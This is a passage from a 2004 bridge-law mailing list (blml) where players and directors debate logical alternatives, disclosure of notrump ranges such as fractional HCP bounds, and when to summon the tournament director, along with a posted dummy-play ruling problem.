<67dvvvoubfdgceaqpikur8k2ifltkn7qt1@4ax.com> <003f01c3d75b$2fdb41c0$9c7687d9@4nrw70j> Message-ID: In article <003f01c3d75b$2fdb41c0$9c7687d9@4nrw70j>, grandeval writes >Grattan Endicott[alternatively gesta@tiscali.co.uk] >============================== >"And, while with silent lifting mind I've trod >The high, untrespassed sanctity of space, >Put out my hand and touched the face of God." > ~ J.G. Magee 1922-41 >++++++++++++++++++++++++++++++ >(I know little of John Gillespie Magee. He was a >US citizen in the Royal Canadian Air Force, to >whom we owe a debt of gratitude.) >++++++++++++++++++++++++++++++ >----- Original Message ----- >From: "Brian Meadows" >To: >Sent: Saturday, January 10, 2004 8:32 AM >Subject: Re: [blml] Judgement > > >> >> Personally I'm very happy to mark my CC (if playing 12-14) as >> "excellent 11 - poor 15", **if only my NCBO will allow it**. >> Which means that they provide sufficient space on the CC or allow >> me to use additional notes, of course. >> >+=+ ? "12(11) - 14(15)" +=+ I describe it as "12-14 -ish" 11.8-14.2 is also ok IMO > > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Sun Jan 11 22:58:43 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jan 2004 08:58:43 +1000 Subject: [blml] Everybody run, the homecoming queen's got a gun Message-ID: Nigel Guthrie wrote: >>In all recent cases submitted by Richard, I feel that >>if partner has bid in tempo, there are several such LAs. Todd M. Zimnoch replied: >The LAs are the same whether partner has bid in tempo or >not. Richard James Hills quibbled: I disagree with both Nigel and Todd. In my opinion, it is often true that there is no such thing as "the" LAs. In my opinion, logical alternatives may vary according to the class of player. My initial question was a case in point. In my opinion, a bunny would look no further than South's 8-card suit, and automatically bid 5S. An expert, however, would note that the South hand makes a useful dummy for 5Dx, given that South holds two aces and a club void. At the table, of course, this was what actually occurred: Grand National Open Teams, Metropolitan Final Dlr: North Vul: East-West The bidding has gone: WEST NORTH EAST SOUTH --- 1S(1) Double 4S(2) Double 5D Double ? (1) Alerted; either 0-2 spades, or 6+ spades, with 8-12 hcp (2) Explained as "not sure, but in similar situations, it is correctable". You, South, held: AT987632 A87 94 void and you, South, routinely bid 5S. Fortunately, the CTD was as expert as the players. (The CTD has a "baggy green cap" as a one-time member of the international representative Australian Open Team.) So, the CTD was able to determine that the expert South had a logical alternative of Pass available, and this ruling was upheld by the actual AC. This problem demonstrates the need for a less-than-expert TD to consult with experts *before* giving a judgement ruling about an expert's possible LAs (a point emphasised by David Stevenson). Sure enough, when this was posed as a panel problem in the August 2002 Australian Director's Bulletin (in which logistics precluded the TDs consulting), it was the three experter TD panellists who ruled that Pass was an LA, while the four inperter panellists ruled that 5S was the only LA. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From j.rickard@bristol.ac.uk Sun Jan 11 22:07:28 2004 From: j.rickard@bristol.ac.uk (Jeremy Rickard) Date: 11 Jan 2004 22:07:28 +0000 Subject: [blml] Judgement In-Reply-To: "Nigel Guthrie"'s message of "Sun, 11 Jan 2004 15:02:21 -0000" References: <007801c3d6e1$b49d4fe0$5d9868d5@tinyhrieuyik> <004101c3d839$f7c76040$9682b6d4@LNV> <008b01c3d853$fe1ceea0$949868d5@tinyhrieuyik> Message-ID: "Nigel Guthrie" writes: > to walruses like myself Nigel, I'm curious to know whether you *are* actually a walrus. Playing a weak NT, would you pass A10x K10x 10x KJ10xx but bid 1NT with KQ KQJ Jxxx xxxx? And whether or not you would yourself, what proportion of other decent players do you think would? Jeremy. -- Jeremy Rickard Email: j.rickard@bristol.ac.uk WWW: http://www.maths.bris.ac.uk/~pure/staff/majcr/ From richard.hills@immi.gov.au Mon Jan 12 00:15:34 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jan 2004 10:15:34 +1000 Subject: [blml] Everybody run, the homecoming queen's got a gun Message-ID: Nigel Guthrie wrote: >>And suggested that I call the TD on myself! Todd M. Zimnoch replied: >I still don't know why people cringe at that >thought. You've never called the TD for your >own lead out of turn, bid out of turn, or >revoke? If I cannot tell which is the least >suggested of all LAs, I have no qualms about >calling the director myself. Richard James Hills quibbled: I disagree with both Nigel and Todd. Firstly, I disagree with Nigel's implication that one should never call the TD on oneself. Law 9B1 states that the TD *must* be summoned after attention is drawn to an irregularity, and that *any* player is required to fulfil that strongest command of *must*. Secondly, I disagree with the timing of the TD call implied by Todd. I do not think that the TD need be called by Todd *immediately* after Todd has selected between logical alternatives. Law 16A1 states that the TD need not be called immediately after UI (unless the existence of the UI is disputed). And Law 16A2 states that the TD need not be after an LA is selected, unless a player has "substantial reason to believe" that an illegal LA has been chosen. And the footnote to Law 16A2 defines "substantial reason to believe" as: "When play ends; or, as to dummy's hand, when dummy is exposed." Law 72B2 rules that it is unLawful for a player to deliberately infract Law 16A2. And if a player has inadvertently infracted Law 16A2, how can that same player have "substantial reason" to *immediately* believe that they have deliberately infracted Law 16A2? But..... If, at the end of play, it seems to me that the opponents could have been possibly damaged by my arguable use of UI, I make a point of then calling for the TD. If the opponents have not called attention to my putative irregularity, and I do not believe that I have committed an irregularity, then this is a TD call which is extraneous to Law 9B1 and Law 16A2. But, like Todd, I prefer extraneous TD calls which help me sleep better at nights. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Mon Jan 12 00:52:00 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 00:52:00 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: Message-ID: <049701c3d8a6$4ce8c5c0$949868d5@tinyhrieuyik> [Richard James Hills] I disagree with both Nigel and Todd. In my opinion, it is often true that there is no such thing as "the" LAs. In my opinion, logical alternatives may vary according to the class of player. [Nigel] I've seen that opinion before in BLML and assumed that it was in TFLB. Marvin French disagrees and he has persuaded me that it is wrong. If the standard of competition is low, it is likely that many alternatives actually chosen will be illogical. Is it fair that you get stuck with somebody else's idiotic guess? Surely if that is what the law means, it would refer ony to a concensus of competitors -- not muddy the waters by allowing "logical" to be defined as its antonym. Or do we again detect the influence of Humpty Dumpty (as in TFLB's tratment of "rational"). An advantange of Marvin's interpretation is that the choice of alternatives can be slightly less random and subjective. Is there any basis in law for Richard's position? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From richard.hills@immi.gov.au Mon Jan 12 02:25:28 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jan 2004 12:25:28 +1000 Subject: [blml] Everybody run, the homecoming queen's got a gun Message-ID: Richard James Hills asserted: >>>In my opinion, logical alternatives may vary according >>>to the class of player. Nigel Guthrie asked: >>Is there any basis in law for Richard's position? WBF Code of Practice responded: >A "logical alternative" is a different action that, >amongst the class of players in question and using the >methods of the partnership, would be given serious >consideration by a significant proportion of such >players, of whom it is reasonable to think some might >adopt it. Richard James Hills notes: Some SOs have modified the WBF definition of "logical alternative" in their regulations. For example, the EBU White Book defines a logical alternative as, "a call or play which three or more in ten players of equal ability could be expected to make in the particular situation, if playing a similar system and style, but if the irregularity had not occurred". However, as far as I am aware, *all* SOs include words to the effect of "class of player" or "players of equal ability" in their regulations defining the meaning of a "logical alternative". Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Mon Jan 12 01:37:51 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 01:37:51 -0000 Subject: [blml] Judgement References: <007801c3d6e1$b49d4fe0$5d9868d5@tinyhrieuyik> <004101c3d839$f7c76040$9682b6d4@LNV> <008b01c3d853$fe1ceea0$949868d5@tinyhrieuyik> Message-ID: <04a301c3d8ad$1cac46a0$949868d5@tinyhrieuyik> [Jeremy Rickard] > Nigel, I'm curious to know whether you *are* > actually a walrus. Playing a weak NT, would you pass > A10x K10x 10x KJ10xx but bid 1NT with > KQ KQJ Jxxx xxxx? > And whether or not you would yourself, what > proportion of other decent players do you think would? [Nigel] I'd rather be labelled a Walrus than a Secretary Bird. Obviously, if the Walrus's stated agreement is a "good 12 to a poor 15", then he would open neither. Even a Walrus won't open 1N with 13 HCP and two voids. Thus, whatever the agreed range, the Walrus doesn't have to open a hand just because it falls within that range, unless it satisfies other agreed requirements, *and* is not an agreed exception. Hence, even playing a 12-14 notrump, a Walrus might open neither. If the Walrus's range is "good 11-14", he would probably open both, depending on other agreements about vulnerability and position at the table. In response to *any* query, he would try to tell opponents, truthfully, what they want to know, and offer to divulge any information not on his CC. I'm afraid I sometimes lapse from Walrus ideals :( but I try to live up to them. I would not presume to answer your questions on behalf of Secretary Birds, decent or otherwise :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From ereppert@rochester.rr.com Mon Jan 12 01:41:59 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 11 Jan 2004 20:41:59 -0500 Subject: [blml] Judgement In-Reply-To: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> Message-ID: <834E6D25-44A0-11D8-BF5F-0030656F6826@rochester.rr.com> On Saturday, Jan 10, 2004, at 13:24 US/Eastern, Nigel Guthrie wrote: >> [Ed Reppert] >> Anybody else, being aware of the possibility, should >> have sense enough to ask if they think they need to know. > > {Nigel] > Brian Meadows, Tim West-Meads et al make similar suggestions. > It seems a fair point, but IMO it has an obvious flaw. Please > bear with me while I argue it through for my own benefit... > > (1) Opponents card describes their 1N as "12-14" but you > need to know whether it includes good 11s; (or poor 15s; > or neither; or both) > > (2) You ask opponents about their notrump range. Experienced > players know the likely reasons for your question but > still they stone-wall "12-14." > > (3) If you call a TD like Ton Kooijman or David Stevenson it > seems that they will tell you that opponents have no need > to tell you the basis of their "judgement". > > (4) If your opponent takes a literal view of the rules and knows > that the EBU Orange book *defines* HCP as A=4 K=3 Q=2 J=1, > then he may well feel insulted by your cross-examination. > Are you accusing him of lying? or claiming he can't count? > > (5) Already, by cross-examining opponents about HCP, you may > have tipped your hand to opponents. If you persist in > asking specifically whether the notrump opener can have 11 > HCP, opponents will probably face a double-dummy problem. > > (6) You could try to camouflage your true interest by first > asking in detail about 15 counts, or by asking about 11 > counts with 6-cards suits (when you know that this 1N > opener has neither). Is such "bluffing by word of mouth" > against the law? IMO it smacks of sharp practice and > opponents who have told the truth from the beginning may > well feel hard done by. At best it wastes a lot of time. > > If you disagree with this argument, please address point five > first. Okay. Point 5 expresses the danger inherent in *any* procedure which allows direct questions about individual calls. So? Either we live with that, or we change the procedure. I have no desire to discuss the latter situation. Point 6 is one way to mitigate the problem presented by point 5. I agree it's the wrong way. The *right* way, it seems to me, is to comply with law 20, which, it seems to me, is *designed* to mitigate (not eliminate) the problem. Points 1, 2 and 3: as I understand "proper procedure" in these situations, it is this: (1) ask "explain, please"; (2) if this does not trigger Full Disclosure (as it should) ask "Tell me about your style, please". (3) if you still do not have satisfactory answers, call the TD. (4) If necessary, ask the TD to read Law 20 and the relevant portions of the Alert Regulation. (5) If he says, in effect, that *in his judgment* opponents have provided full disclosure, appeal. Yes, it's a PITA - but it's what we've got. Regarding point 4: as far as I'm concerned, any player who gets his back up when the procedure above is followed ought to be soundly chastised by the TD. If he can't handle that, then he should take up solitaire. From twm@cix.co.uk Mon Jan 12 02:05:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 12 Jan 2004 02:05 +0000 (GMT Standard Time) Subject: [blml] Judgement In-Reply-To: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> Message-ID: > > [Ed Reppert] > > Anybody else, being aware of the possibility, should > > have sense enough to ask if they think they need to know. > > {Nigel] > Brian Meadows, Tim West-Meads et al make similar suggestions. > It seems a fair point, but IMO it has an obvious flaw. Please > bear with me while I argue it through for my own benefit... > > (1) Opponents card describes their 1N as "12-14" but you > need to know whether it includes good 11s; (or poor 15s; > or neither; or both) So ask. > (2) You ask opponents about their notrump range. Experienced > players know the likely reasons for your question but > still they stone-wall "12-14." Very few opponents will stone-wall if they know why you are asking. > (3) If you call a TD like Ton Kooijman or David Stevenson it > seems that they will tell you that opponents have no need > to tell you the basis of their "judgement". I very much doubt it. They might, like me, tell you that you were not damaged by a failure to disclose since you had the opportunity to ask a follow up question. > (4) If your opponent takes a literal view of the rules and knows > that the EBU Orange book *defines* HCP as A=4 K=3 Q=2 J=1, > then he may well feel insulted by your cross-examination. > Are you accusing him of lying? or claiming he can't count? How can the question "How often do you upgrade 11 counts?" possibly be offensive? > (5) Already, by cross-examining opponents about HCP, you may > have tipped your hand to opponents. If you persist in > asking specifically whether the notrump opener can have 11 > HCP, opponents will probably face a double-dummy problem. So ask before the round (in EBU-land you are expected to find out what NT opps are playing before starting). > If you disagree with this argument, please address point five > first. Nigel, I give you a scenario Four good players at table (known to each other as competent), one asks casually during play "What was the NT", is told (equally casually) "12-14" and no more is said. Asker now claims damage because the 1NT was an *exceptional* 11 count. As a TD I believe he is trying it on and I sure as hell won't adjust in his favour. However, this does not mean I will not adjust if a player asks (after checking the CC) "What range is the NT in this seat/vul?" - the explainer should realise here that more detail is needed. Nor does it mean that I don't *prefer* CCs to reflect the rigidity with which a pair uses HCP for determining hand strength. For example Probst and I discussed whether the minimum for our (third seat) NT should be 14.7 or 14.8*. 14.8 was agreed and appears on our CC. I really don't care if this is meaningless by OB definitions. Most opps understand it and even those that don't grasp it immediately are dimly aware that asking might prove fruitful. *NB, we did not actually discuss *how* we evaluate hands and may have slightly different approaches. I suggested 14.7 and he said he didn't think we should upgrade quite that often. Tim From nigel.guthrie@ntlworld.com Mon Jan 12 02:35:11 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 02:35:11 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: Message-ID: <050001c3d8b4$b4245a20$949868d5@tinyhrieuyik> [Richard James Hills] I disagree with Nigel's implication that one should never call the TD on oneself. [Nigel] I've never stated or implied that. IMO you call the TD if you suspect that an infraction may have occurred. You initially presented all the cases without any UI, so I have no ethical problem when choosing the best among the LAs. On this problem, as soon as I noticed RHO's double, I wrote that I agreed with Frances that Pass is the best LA. Again, I don't think I have any ethical problem. Partner is capable judging whether or not he has such a problem. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From richard.hills@immi.gov.au Mon Jan 12 03:35:36 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jan 2004 13:35:36 +1000 Subject: [blml] Yet Another Mis-explanation Message-ID: David Kent asked: >Hi all, > >I know we have gone over this MANY times, but I just want >to make sure I have got it right. > >You are playing your 3rd session with a new partner. >There are still a few auctions you have not discussed. > >You hold: > >x >J87xx >Qx >AJxxx > >At equal vulnerability your LHO opens a weak 2D. Partner >bids a natural 2NT. You bid 3D hoping that partner takes >it as a transfer. He does not alert or announce the bid. >(What is he supposed to do? Is it alertable in the ACBL?). >He bids 3S. > >What is your bid? Richard James Hills replies: The ACBL alert regulation rules that there should *not* be an alert or announcement of a cue bid (bid of a suit shown by an opponent), regardless of meaning, except for a direct cue bid of a natural opening bid played as natural. Therefore, under Law 40A you can call anything you like. Due to the ACBL using what the ABF defines as "self-alerting" cue bids, your choice of call is unconstrained by any UI. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Jan 12 03:56:06 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jan 2004 13:56:06 +1000 Subject: [blml] Termagant (was Everybody run) Message-ID: Richard James Hills: >>I disagree with Nigel's implication that one >>should never call the TD on oneself. Nigel Guthrie: >I've never stated or implied that. Richard James Hills: I stand corrected, and erase my palimpsest. Nigel Guthrie: >IMO you call the TD if you suspect that an >infraction may have occurred. [snip] Richard James Hills: Under Law, the only time a mere suspicion is grounds for summoning a TD is under the circumstances detailed in Law 16A. *Actual* irregularities under the general Law 9B, or the specific Laws 16B and 75D, are the grounds for summoning a TD in other circumstances. Extraneous summoning of the TD for non-Law 16A suspicions may be a termagant infraction of Law 74A2, depending upon the context. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Mon Jan 12 03:15:31 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 03:15:31 -0000 Subject: [blml] Judgement References: Message-ID: <051601c3d8ba$56e0de00$949868d5@tinyhrieuyik> [Tim West Meads] > For example Probst and I discussed whether the minimum > for our (third seat) NT should be 14.7 or 14.8*. 14.8 > was agreed and appears on our CC. I really don't care > if this is meaningless by OB definitions. Most opps > understand it and even those that don't grasp it > immediately are dimly aware that asking might prove fruitful. > *NB, we did not actually discuss *how* we evaluate hands > and may have slightly different approaches. I suggested > 14.7 and he said he didn't think we should upgrade quite > that often. [Nigel] Given the limited space on the CC, your decimal ranges, based on frequency estimates, are an ideal solution -- that even we Walruses can understand and adopt -- especially if it were recommended officially. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From twm@cix.co.uk Mon Jan 12 03:31:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 12 Jan 2004 03:31 +0000 (GMT Standard Time) Subject: [blml] Judgement In-Reply-To: <04a301c3d8ad$1cac46a0$949868d5@tinyhrieuyik> Message-ID: Nigel wrote: > Obviously, if the Walrus's stated agreement is a "good > 12 to a poor 15", then he would open neither. Duh! A walrus cannot state a range of "good 12...". Walruses recognise points as integers (as per the OB). > > Even a Walrus won't open 1N with 13 HCP and two voids. > Thus, whatever the agreed range, the Walrus doesn't > have to open a hand just because it falls within that > range A walrus plays 1NT bids as balanced. Thus a walrus opens all *balanced* hands within range. > I would not presume to answer your questions on > behalf of Secretary Birds, decent or otherwise :) Secretary Birds will object to disclosure involving fractional HCP since the Orange Book does not encompass such things. Ordinary bridge players on the other hand will respond to the question they think you are asking. They say things like "Stayman" instead of describing hands on which 2C might be bid. They say "12-14" to describe a bog standard 11.8-14.3 NT. Tim From nigel.guthrie@ntlworld.com Mon Jan 12 03:47:56 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 03:47:56 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: Message-ID: <054e01c3d8be$de11cc00$949868d5@tinyhrieuyik> My initial question was a case in point. In my opinion, a bunny would look no further than South's 8-card suit, and automatically bid 5S. An expert, however, would note that the South hand makes a useful dummy for 5Dx, given that South holds two aces and a club void. At the table, of course, this was what actually occurred: Grand National Open Teams, Metropolitan Final EW/N North WEST NORTH EAST SOUTH --- 1S(1) Double 4S(2) Double 5D Double 5S (1) Alerted; either 0-2 spades, or 6+ spades, with 8-12 hcp (2) Explained as "not sure, but in similar situations, it is correctable". You, South, held: AT987632 A87 94 void the CTD was able to determine that the expert South had a logical alternative of Pass available, and this ruling was upheld by the actual AC. [Nigel] In the initial statement of the problem, in the trawl for LAs, Richard wrote that 4S was explained as "natural and pre-emptive", so South had no obvious ethical problem in choosing among LAs. Now Richard has revealed the truth and explained that South must take care to avoid LAs that may be suggested by partner's misexplanation. I wonder whether the "baggy green cap CTD" could have been more cruel. Isn't XX an LA? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From richard.hills@immi.gov.au Mon Jan 12 04:53:32 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jan 2004 14:53:32 +1000 Subject: [blml] Dummy play in the fourth dimension Message-ID: Australian Interstate Open Teams Dlr: East J Vul: Nil AK543 9 JT9432 AKQT6 95432 void 982 AKJT75 843 A5 K6 87 QJT76 Q62 Q87 WEST NORTH EAST SOUTH --- 2S(1) Pass Pass(2) 1C(3) 1H(4) Pass Pass(2) 2H(4) Pass 3S Pass(2) 7S Pass Pass Pass(2) (1) Bid out-of-rotation, not accepted (shows 5+ hearts and 4+ minor, 8-12 HCP). (2) Forced (Law 31). (3) Precision, 16+ HCP. (4) Game force. Declarer exercised his Law 26B option and prohibited the lead of a diamond. As West tabled his hand he commented that the prohibition had made no difference. As an afterthought he then added, "I suppose North may have been able to trump a diamond lead." The Play: HQ - ST - H3 - H2 SA - SJ - S2 - S7 SK - C2 - S3 - S8 DA - D9 - D3 - D2 CA - C3 - C6 - C7 C5 - C9 - CK - C8 D4 - D6 - DJ - H4 Result: E/W + 1510 How would you rule as TD? (Law 12C3 is not available for Aussie TDs.) How would you rule as AC? (Law 12C3 is enabled for Aussie ACs.) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Mon Jan 12 04:20:04 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jan 2004 04:20:04 -0000 Subject: [blml] Termagant (was Everybody run) References: Message-ID: <057701c3d8c3$5b719aa0$949868d5@tinyhrieuyik> >> [Nigel Guthrie] >> IMO you call the TD if you suspect that an >> infraction may have occurred. > [Richard James Hills] > Under Law, the only time a mere suspicion is > grounds for summoning a TD is under the > circumstances detailed in Law 16A. [Nigel] I hope you are wrong, Richard. Last week, when my partner, as declarer, ruffed the opening lead, I asked "having none partner." An opponent claimed that the question was unlawful. This raised slight doubts, so, to reassure the table, I called the TD *on myself* :) :) :) Are we really wrong to call the TD when we suspect an infraction may have occurred? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From grabiner@alumni.princeton.edu Mon Jan 12 04:22:37 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Sun, 11 Jan 2004 23:22:37 -0500 Subject: [blml] Dummy play in the fourth dimension In-Reply-To: Message-ID: <5.1.1.6.0.20040111231623.01a92cb0@mail.vzavenue.net> At 11:53 PM 1/11/2004, richard.hills@immi.gov.au wrote: >Australian Interstate Open Teams > >Dlr: East J >Vul: Nil AK543 > 9 > JT9432 >AKQT6 95432 >void 982 >AKJT75 843 >A5 K6 > 87 > QJT76 > Q62 > Q87 > >WEST NORTH EAST SOUTH >--- 2S(1) Pass Pass(2) >1C(3) 1H(4) Pass Pass(2) >2H(4) Pass 3S Pass(2) >7S Pass Pass Pass(2) > >(1) Bid out-of-rotation, not accepted (shows 5+ > hearts and 4+ minor, 8-12 HCP). >(2) Forced (Law 31). >(3) Precision, 16+ HCP. >(4) Game force. > >Declarer exercised his Law 26B option and >prohibited the lead of a diamond. As West tabled >his hand he commented that the prohibition had made >no difference. As an afterthought he then added, "I >suppose North may have been able to trump a diamond >lead." > >The Play: >HQ - ST - H3 - H2 >SA - SJ - S2 - S7 >SK - C2 - S3 - S8 >DA - D9 - D3 - D2 >CA - C3 - C6 - C7 >C5 - C9 - CK - C8 >D4 - D6 - DJ - H4 > >Result: E/W + 1510 > >How would you rule as TD? >(Law 12C3 is not available for Aussie TDs.) > >How would you rule as AC? >(Law 12C3 is enabled for Aussie ACs.) I don't think that dummy suggested a line of play here, just made a general comment. There was no unusual safety play to guard against a diamond void, only a normal guess for East to make whether North was 1=5=2=5 or 1=5=1=6, and East guessed right. As TD and AC, I would let the table result stand, but I would warn West that only the Hog is allowed to play the dummy, and only when the Rabbit is his partner. From blml@wellsborocomputing.com Mon Jan 12 04:38:18 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 11 Jan 2004 23:38:18 -0500 Subject: [blml] Judgement In-Reply-To: <00f001c3d85c$afd0e680$949868d5@tinyhrieuyik> References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> <4pl000t7vdg9k6poopo9gnf97s7k6km3qm@4ax.com> <019701c3d7e6$a4ac21a0$919868d5@tinyhrieuyik> <00f001c3d85c$afd0e680$949868d5@tinyhrieuyik> Message-ID: <2f740057bbb0ps6chkgmlri9ubaelt880t@4ax.com> On Sun, 11 Jan 2004 16:04:37 -0000, Nigel Guthrie wrote: >I ask again my own question, yet unanswered. Opponent's >CC says "2S = 5-9 HCP, 6-7 cards". They open 2S, you >ask "suit length?" and they answer "6-7 cards". Later >you find out that they have agreed to "upgrade" the >length on exceptional hands where "the texture, suit >quality, and extra HCP make up for the missing length." >Was their answer adequate? > IMO, no, it isn't - but I think you could have made it clearer that you were asking for a comprehensive reply. Given that some players "prefer to ask", then no doubt there will be those who will claim that they thought your "Suit length?" question was just asking them for the information on their CC. In the case you describe, I would ask something like "Can opener ever have less than 6 spades for that bid"? If you get opponents who are really trying to hide information, I suppose you might need to add a rider excluding psychic openers. While you would give the usual consideration to novices, I think an experienced player has a much better case for a score adjustment (assuming he can show damage, of course) if he makes it plain exactly what information he's looking for. If you want to know whether your opponents can "upgrade" as above, then ask them that. While "Suit length?" *ought* to be sufficient, IMO you can do better. If it's that vital for me to know whether opener can have five spades, I'd take my chances on an objection to the form of the question I'd use. Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From richard_willey@comcast.net Mon Jan 12 04:50:31 2004 From: richard_willey@comcast.net (richard_willey@comcast.net) Date: Mon, 12 Jan 2004 04:50:31 +0000 Subject: [blml] Judgement Message-ID: <011220040450.13214.5ec5@comcast.net> Silly question here: I have no idea what "11.7 - 14.3 HCP" means and don't particularly understand how this helps with disclosure. My guess is that Nigel is assuming that this means that 30% of all 11 counts qualify for a 1NT opening. However, given that this is not standard nomenclature I'm worried that different people will understand this to mean very different things. >From my perspective, giving the "illusion" of precision is much worse than stating that players reserve the right to excercise judgement. > [Nigel] > Given the limited space on the CC, your decimal ranges, > based on frequency estimates, are an ideal solution -- that > even we Walruses can understand and adopt -- especially if > it were recommended officially. > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From adam@tameware.com Mon Jan 12 05:13:09 2004 From: adam@tameware.com (Adam Wildavsky) Date: Mon, 12 Jan 2004 00:13:09 -0500 Subject: [blml] Everybody run, the homecoming queen's got a gun In-Reply-To: <054e01c3d8be$de11cc00$949868d5@tinyhrieuyik> References: <054e01c3d8be$de11cc00$949868d5@tinyhrieuyik> Message-ID: At 3:47 AM +0000 1/12/04, Nigel Guthrie wrote: >I wonder whether the "baggy green cap CTD" could have been more cruel. Cruel? Whatever the penalty, I blame South who brought it on. >Isn't XX an LA? I replied to Richard's initial post privately, saying that I would pass and 